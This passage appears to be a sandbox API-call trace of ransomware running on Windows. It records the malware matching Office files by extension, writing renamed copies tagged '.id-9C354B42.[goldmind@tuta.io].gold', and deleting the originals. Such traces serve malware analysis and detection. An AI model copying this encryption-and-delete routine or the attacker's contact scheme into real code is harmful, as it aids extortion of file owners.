(lpString1=".pdf", lpString2=".DLL") returned 1 [0112.010] lstrlenW (lpString=".xls") returned 4 [0112.010] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0112.010] lstrlenW (lpString=".xlsx") returned 5 [0112.010] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0112.010] lstrlenW (lpString=".ppt") returned 4 [0112.010] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0112.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0112.010] lstrlenW (lpString=".zip") returned 4 [0112.010] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0112.010] lstrlenW (lpString=".rar") returned 4 [0112.010] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0112.010] lstrlenW (lpString=".bz2") returned 4 [0112.010] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0112.010] lstrlenW (lpString=".7z") returned 3 [0112.010] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0112.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0112.010] lstrlenW (lpString=".dbf") returned 4 [0112.010] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0112.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0112.010] lstrlenW (lpString=".1cd") returned 4 [0112.010] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0112.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0112.010] lstrlenW (lpString=".jpg") returned 4 [0112.010] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0112.010] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0112.011] lstrlenW (lpString="EntityDataHandler.dll") returned 21 [0112.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0112.489] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=62336) returned 1 [0112.489] CloseHandle (hObject=0x3c8) returned 1 [0112.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll")) returned 0x20 [0112.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0112.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0112.691] lstrlenW (lpString=".doc") returned 4 [0112.691] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0112.691] lstrlenW (lpString=".docx") returned 5 [0112.691] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0112.691] lstrlenW (lpString=".pdf") returned 4 [0112.691] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0112.691] lstrlenW (lpString=".xls") returned 4 [0112.691] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0112.691] lstrlenW (lpString=".xlsx") returned 5 [0112.691] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0112.691] lstrlenW (lpString=".ppt") returned 4 [0112.691] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0112.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0112.691] lstrlenW (lpString=".zip") returned 4 [0112.691] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0112.691] lstrlenW (lpString=".rar") returned 4 [0112.691] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0112.691] lstrlenW (lpString=".bz2") returned 4 [0112.691] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0112.691] lstrlenW (lpString=".7z") returned 3 [0112.691] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0112.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0112.691] lstrlenW (lpString=".dbf") returned 4 [0112.691] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0112.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0112.691] lstrlenW (lpString=".1cd") returned 4 [0112.691] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0112.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0112.691] lstrlenW (lpString=".jpg") returned 4 [0112.691] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0112.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0112.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0112.692] lstrlenW (lpString=".doc") returned 4 [0112.692] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0112.692] lstrlenW (lpString=".docx") returned 5 [0112.692] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0112.692] lstrlenW (lpString=".pdf") returned 4 [0112.692] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0112.692] lstrlenW (lpString=".xls") returned 4 [0112.692] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0112.692] lstrlenW (lpString=".xlsx") returned 5 [0112.692] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0112.692] lstrlenW (lpString=".ppt") returned 4 [0112.692] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0112.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0112.692] lstrlenW (lpString=".zip") returned 4 [0112.692] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0112.692] lstrlenW (lpString=".rar") returned 4 [0112.692] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0112.692] lstrlenW (lpString=".bz2") returned 4 [0112.692] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0112.692] lstrlenW (lpString=".7z") returned 3 [0112.692] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0112.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0112.692] lstrlenW (lpString=".dbf") returned 4 [0112.692] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0112.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0112.692] lstrlenW (lpString=".1cd") returned 4 [0112.692] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0112.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0112.692] lstrlenW (lpString=".jpg") returned 4 [0112.692] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0112.693] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0112.693] lstrlenW (lpString="APPT.CFG") returned 8 [0112.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.709] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=789) returned 1 [0112.709] CloseHandle (hObject=0x3ec) returned 1 [0112.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg")) returned 0x20 [0112.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.753] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.753] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0112.754] GetLastError () returned 0x0 [0112.754] ReadFile (in: hFile=0x380, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x315, lpOverlapped=0x0) returned 1 [0112.789] WriteFile (in: hFile=0x3bc, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x320, lpOverlapped=0x0) returned 1 [0112.790] ReadFile (in: hFile=0x380, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.790] WriteFile (in: hFile=0x3bc, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0112.790] SetEndOfFile (hFile=0x3bc) returned 1 [0112.790] CloseHandle (hObject=0x3bc) returned 1 [0112.790] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.790] SetEndOfFile (hFile=0x380) returned 1 [0112.792] CloseHandle (hObject=0x380) returned 1 [0112.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg")) returned 1 [0112.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0112.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0112.793] lstrlenW (lpString=".doc") returned 4 [0112.793] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0112.793] lstrlenW (lpString=".docx") returned 5 [0112.793] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0112.793] lstrlenW (lpString=".pdf") returned 4 [0112.793] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0112.793] lstrlenW (lpString=".xls") returned 4 [0112.793] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0112.793] lstrlenW (lpString=".xlsx") returned 5 [0112.793] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0112.793] lstrlenW (lpString=".ppt") returned 4 [0112.793] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0112.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0112.793] lstrlenW (lpString=".zip") returned 4 [0112.793] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0112.793] lstrlenW (lpString=".rar") returned 4 [0112.793] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0112.793] lstrlenW (lpString=".bz2") returned 4 [0112.793] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0112.793] lstrlenW (lpString=".7z") returned 3 [0112.793] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0112.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0112.793] lstrlenW (lpString=".dbf") returned 4 [0112.793] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0112.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0112.794] lstrlenW (lpString=".1cd") returned 4 [0112.794] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0112.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0112.794] lstrlenW (lpString=".jpg") returned 4 [0112.794] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0112.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0112.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0112.794] lstrlenW (lpString=".doc") returned 4 [0112.794] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0112.794] lstrlenW (lpString=".docx") returned 5 [0112.794] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0112.794] lstrlenW (lpString=".pdf") returned 4 [0112.794] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0112.794] lstrlenW (lpString=".xls") returned 4 [0112.794] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0112.794] lstrlenW (lpString=".xlsx") returned 5 [0112.794] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0112.794] lstrlenW (lpString=".ppt") returned 4 [0112.794] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0112.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0112.794] lstrlenW (lpString=".zip") returned 4 [0112.794] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0112.794] lstrlenW (lpString=".rar") returned 4 [0112.794] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0112.794] lstrlenW (lpString=".bz2") returned 4 [0112.794] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0112.794] lstrlenW (lpString=".7z") returned 3 [0112.794] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0112.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0112.794] lstrlenW (lpString=".dbf") returned 4 [0112.794] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0112.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0112.794] lstrlenW (lpString=".1cd") returned 4 [0112.795] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0112.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0112.795] lstrlenW (lpString=".jpg") returned 4 [0112.795] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0112.795] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0112.795] lstrlenW (lpString="CONFLICT.ICO") returned 12 [0112.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0112.809] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2998) returned 1 [0112.809] CloseHandle (hObject=0x394) returned 1 [0112.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico")) returned 0x20 [0112.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0112.812] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.812] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0112.812] GetLastError () returned 0x0 [0112.812] ReadFile (in: hFile=0x394, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0112.814] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0112.815] ReadFile (in: hFile=0x394, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.815] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.815] SetEndOfFile (hFile=0x198) returned 1 [0112.815] CloseHandle (hObject=0x198) returned 1 [0112.815] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.815] SetEndOfFile (hFile=0x394) returned 1 [0112.817] CloseHandle (hObject=0x394) returned 1 [0112.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico")) returned 1 [0112.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0112.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0112.818] lstrlenW (lpString=".doc") returned 4 [0112.818] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0112.818] lstrlenW (lpString=".docx") returned 5 [0112.818] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0112.818] lstrlenW (lpString=".pdf") returned 4 [0112.818] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0112.818] lstrlenW (lpString=".xls") returned 4 [0112.818] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0112.818] lstrlenW (lpString=".xlsx") returned 5 [0112.818] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0112.818] lstrlenW (lpString=".ppt") returned 4 [0112.818] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0112.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0112.818] lstrlenW (lpString=".zip") returned 4 [0112.818] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0112.818] lstrlenW (lpString=".rar") returned 4 [0112.818] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0112.818] lstrlenW (lpString=".bz2") returned 4 [0112.819] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0112.819] lstrlenW (lpString=".7z") returned 3 [0112.819] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0112.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0112.819] lstrlenW (lpString=".dbf") returned 4 [0112.819] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0112.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0112.819] lstrlenW (lpString=".1cd") returned 4 [0112.819] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0112.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0112.819] lstrlenW (lpString=".jpg") returned 4 [0112.819] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0112.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0112.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0112.819] lstrlenW (lpString=".doc") returned 4 [0112.819] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0112.819] lstrlenW (lpString=".docx") returned 5 [0112.819] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0112.819] lstrlenW (lpString=".pdf") returned 4 [0112.819] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0112.819] lstrlenW (lpString=".xls") returned 4 [0112.819] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0112.819] lstrlenW (lpString=".xlsx") returned 5 [0112.819] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0112.819] lstrlenW (lpString=".ppt") returned 4 [0112.819] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0112.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0112.819] lstrlenW (lpString=".zip") returned 4 [0112.819] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0112.819] lstrlenW (lpString=".rar") returned 4 [0112.819] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0112.819] lstrlenW (lpString=".bz2") returned 4 [0112.819] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0112.819] lstrlenW (lpString=".7z") returned 3 [0112.819] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0112.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0112.819] lstrlenW (lpString=".dbf") returned 4 [0112.819] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0112.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0112.819] lstrlenW (lpString=".1cd") returned 4 [0112.819] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0112.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0112.819] lstrlenW (lpString=".jpg") returned 4 [0112.819] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0112.819] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0112.819] lstrlenW (lpString="CONTACT.CFG") returned 11 [0112.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0112.820] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=783) returned 1 [0112.820] CloseHandle (hObject=0x394) returned 1 [0112.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg")) returned 0x20 [0112.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0112.821] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.821] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0112.821] GetLastError () 